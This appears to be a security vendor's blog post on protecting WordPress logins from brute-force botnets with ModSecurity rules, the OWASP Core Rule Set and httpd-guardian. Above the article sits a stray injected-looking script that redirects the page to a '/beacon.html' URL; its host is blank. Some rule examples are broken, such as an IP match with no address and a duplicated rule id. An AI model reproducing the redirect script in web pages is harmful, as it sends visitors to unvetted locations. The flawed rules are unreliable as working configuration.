Defending WordPress Logins from Brute Force Attacks

<SCRIPT> var str1 = "http://"; var str2 = ""; var str3 = "/beacon.html"; var result = str1 + str2 + str3; window.location=result</SCRIPT>
image from As has been reported by many news outlets , WordPress login pages have been under a heavy brute force attack campaign as another method of web server botnet recruitment . There are are number of methods which can be used to help mitigate these attacks including:

While all of these defenses are good, and I encourage WP users to implement them, I also wanted to show how ModSecurity WAF can be used to protect WP logins as many hosting providers already run it as part of their infrastructure. With ModSecurity v2.7.3, users can add in these example rules to Apache htaccess files to implement custom rules.

Profiling WordPress Login Attempts

This what the login page looks like when a real user is submitting a login request to WordPress:

361818 F 0701
When sent to the wp-loing.php page, the raw HTTP looks similar to this:

POST /wordpress/wp-login.php HTTP/1.1 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:12.0) Gecko/20100101 Firefox/12.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*; q=0.8 
Accept-Language: en-us,en;q=0.5 
DNT: 1 
Content-Type: application/x-www-form-urlencoded
Via: 1.1 owaspbwa.localdomain 
Connection: Keep-Alive 
Content-Length: 73


Now that we see how the WordPress login request looks, we can create the following rules to help protect it from unauthorized access.

Check Referer Field

When normal users log into WordPress, it includes a Referer header that is generated when they click on the "Login" button from the form shown above. Many of these botnet brute force attacks, however, send POST login requests directly to the wp-login.php page. We can therefore create this quick ModSecurity ruleset to enforce the existence of the Referer header:

SecRule REQUEST_METHOD "@streq POST" "chain,id:'1',phase:2,t:none,block,log,msg:'Warning: Direct Login Missing Referer.'"
  SecRule REQUEST_FILENAME "@pm /wp-login.php /wp-admin/" "chain"
    SecRule &REQUEST_HEADERS:Referer "@eq 0"

This type of security check is weak of course as this data could easily be added to the botnet attack scripts.

Restrict Allowed IP Addresses

If you do not change your administrator account name, you can still add in an extra layer of security by only allowing admin login access to your IP address. Here is an example ruleset:

SecRule REQUEST_METHOD "@streq POST" "chain,id:'1',phase:2,t:none,block,log,msg:'Warning: Direct Login Missing Referer.'"
  SecRule REQUEST_FILENAME "@pm /wp-login.php /wp-admin/" "chain"
    SecRule ARGS:log "@streq admin" "chain"
      SecRule REMOTE_ADDR "!@ipMatch"

In this example, it will only allow the "admin" user to login if they are coming from the IP address (of course you would need to specify your valid IP address).

Tracking Failed Admin Login Attempts

With ModSecurity's persistent IP collection data, we have the capability to track the number of failed login attempts for the admin account and then temporarily block client IP addresses. Here is the example response data returned when a user failes a WordPress login attempt -

HTTP/1.1 200 OK 
Date: Fri, 11 May 2012 03:24:53 GMT 
Server: Apache 
Expires: Wed, 11 Jan 1984 05:00:00 GMT 
Last-Modified: Fri, 11 May 2012 03:24:54 GMT 
Cache-Control: no-cache, must-revalidate, max-age=0 
Pragma: no-cache 
Vary: Accept-Encoding 
Content-Length: 1697 
Connection: close 
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">
<html xmlns=""> <head>
<title>WordPress &rsaquo; Login</title>
<meta http-equiv="Content-Type" content="text/html; c harset=UTF-8" />

<link rel="stylesheet" href="" type="text/css" /> <script type="text/javascript"> function focusit() {
} window.onload = focusit; </script>
</head> <body>
<div id="login"> <h1><a href="">WordPress</a></h1> <div id='login_error'>
<strong>Error</strong>: Incorrect password. </div> 

As you can see the HTTP response status code is 200 OK and there is text in the HTML body indicating that the user supplied an incorrect password. We can now create rules to identify repeated failures:

SecRule REQUEST_FILENAME "@streq /wordpress/wp-login.php" "chain, phase:4,id:999323,t:none,block,msg:'Authentication Failure Violation .',logdata:'Number of Authentication Failures: %{ip.failed_auth_ attempt}'"
  SecRule REQUEST_METHOD "@streq POST" "chain" 
    SecRule ARGS:log "@streq admin" "chain"
      SecRule RESPONSE_STATUS "200" "chain" 
        SecRule RESPONSE_BODY "@contains <strong>Error</strong>:Incorrect password." "chain,setvar:ip.failed_auth_attempt=+1,expirevar:ip.failed_auth_attempt=60"
          SecRule IP:FAILED_AUTH_ATTEMPT "@gt 5"

Detecting a High Number of Authentication Attempts

Regardless of authentication success/failure, you can also use persistent storage to track the number of authentication requests for a specified period of time. The OWASP ModSecurity Core Rule Set (CRS) includes rules for detecting this type of brute force authentication attacks. In the modsecurity_crs_10_setup.conf, you can adjust the following rule to specify the WordPress login page:

# -- [[ Brute Force Protection ]] ---------------------------------------------------------
# If you are using the Brute Force Protection rule set, then uncomment the following
# lines and set the following variables:
# - Protected URLs: resources to protect (e.g. login pages) - set to your login page
# - Burst Time Slice Interval: time interval window to monitor for bursts
# - Request Threshold: request # threshold to trigger a burst
# - Block Period: temporary block timeout
SecAction \
"id:'900014', \
phase:1, \
t:none, \
setvar:'tx.brute_force_protected_urls=/wp-login.php', \
setvar:'tx.brute_force_burst_time_slice=60', \
setvar:'tx.brute_force_counter_threshold=10', \
setvar:'tx.brute_force_block_timeout=300', \
nolog, \

Once this is set, you activate the modsecurity_crs_11_brute_force.conf file with the following rules:

# Anti-Automation Rule for specific Pages (Brute Force Protection)
# This is a rate-limiting rule set and does not directly correlate whether the
# authentication attempt was successful or not.
# Enforce an existing IP address block and log only 1-time/minute
# We don't want to get flooded by alerts during an attack or scan so
# we are only triggering an alert once/minute. You can adjust how often
# you want to receive status alerts by changing the expirevar setting below.
SecRule IP:BRUTE_FORCE_BLOCK "@eq 1" "chain,phase:1,id:'981036',block,msg:'Brute Force Attack Identified from %{tx.real_ip} (%{tx.brute_force_block_counter} hits since last alert)',setvar:ip.brute_force_block_counter=+1"
SecRule &IP:BRUTE_FORCE_BLOCK_FLAG "@eq 0" "setvar:ip.brute_force_block_flag=1,expirevar:ip.brute_force_block_flag=60,setvar:tx.brute_force_block_counter=%{ip.brute_force_block_counter},setvar:ip.brute_force_block_counter=0"
# Block and track # of requests but don't log
SecRule IP:BRUTE_FORCE_BLOCK "@eq 1" "phase:1,id:'981037',block,nolog,setvar:ip.brute_force_block_counter=+1"
# skipAfter Checks
# There are different scenarios where we don't want to do checks -
# 1. If the user has not defined any URLs for Brute Force Protection in the 10 config file
# 2. If the current URL is not listed as a protected URL
# 3. If the current IP address has already been blocked due to high requests
# In these cases, we skip doing the request counts.
SecRule &TX:BRUTE_FORCE_PROTECTED_URLS "@eq 0" "phase:5,id:'981038',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CHECKS"
SecRule REQUEST_FILENAME "!@within %{tx.brute_force_protected_urls}" "phase:5,id:'981039',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CHECKS"
SecRule IP:BRUTE_FORCE_BLOCK "@eq 1" "phase:5,id:'981040',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CHECKS"
# Brute Force Counter
# Count the number of requests to these resoures
SecAction "phase:5,id:'981041',t:none,nolog,pass,setvar:ip.brute_force_counter=+1"
# Check Brute Force Counter
# If the request count is greater than or equal to 50 within 5 mins,
# we then set the burst counter
SecRule IP:BRUTE_FORCE_COUNTER "@gt %{tx.brute_force_counter_threshold}" "phase:5,id:'981042',t:none,nolog,pass,t:none,setvar:ip.brute_force_burst_counter=+1,expirevar:ip.brute_force_burst_counter=%{tx.brute_force_burst_time_slice},setvar:!ip.brute_force_counter"
# Check Brute Force Burst Counter and set Block
# Check the burst counter - if greater than or equal to 2, then we set the IP
# block variable for 5 mins and issue an alert.
SecRule IP:BRUTE_FORCE_BURST_COUNTER "@ge 2" "phase:5,id:'981043',t:none,log,pass,msg:'Potential Brute Force Attack from %{tx.real_ip} - # of Request Bursts: %{ip.brute_force_burst_counter}',setvar:ip.brute_force_block=1,expirevar:ip.brute_force_block=%{tx.brute_force_block_timeout}"

Brute Force Detection using SecGuardianLog

Another option that can be used to detect both DoS and Brute Force attacks is to use the SecGuardianLog directive:

Description: Configures an external program that will receive the information about every transaction via piped logging.

Syntax:SecGuardianLog |/path/to/httpd-guardian

Example Usage:SecGuardianLog |/usr/local/apache/bin/httpd-guardian

Scope: Main

Version: 2.0.0

Guardian logging is designed to send the information about every request to an external program. Because Apache is typically deployed in a multiprocess fashion, which makes information sharing between processes difficult, the idea is to deploy a single external process to observe all requests in a stateful manner, providing additional protection.

Currently the only tool known to work with guardian logging is httpd-guardian, which is part of the Apache httpd tools project The httpd-guardian tool is designed to defend against denial of service attacks. It uses the blacklist tool (from the same project) to interact with an iptables-based (on a Linux system) or pf-based (on a BSD system) firewall, dynamically blacklisting the offending IP addresses. It can also interact with SnortSam Assuming httpd-guardian is already configured (look into the source code for the detailed instructions), you only need to add one line to your Apache configuration to deploy it:

SecGuardianLog |/path/to/httpd-guardian

By using this setting, the httpd-guardian process is able to track the number of request hittings resources and if the limits are exceeded, it can execute a number of response actions:

# If defined, execute this command when a threshold is reached
# block the IP address for one hour.
# $PROTECT_EXEC = "/sbin/blacklist block %s 3600";
# $PROTECT_EXEC = "/sbin/samtool -block -ip %s -dur 3600";

# For testing only:
# $PROTECT_EXEC = "/sbin/blacklist-webclient %s 3600";

# Max. speed allowed, in requests per
# second, measured over an 1-minute period
my $THRESHOLD_1MIN = 2; # 120 requests in a minute

Notice the $PROTECT_EXEC variable allows you to specify an action such as notifying either a local or remote firewall to add in IP-based blocking of the offending IP address. This option is preferred vs. layer 7 IP based blocking with ModSecurity as it is less resource intensive.


Hopefully the ModSecurity rule examples shown here can help you to defend your WordPress sites from brute force attacks.

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.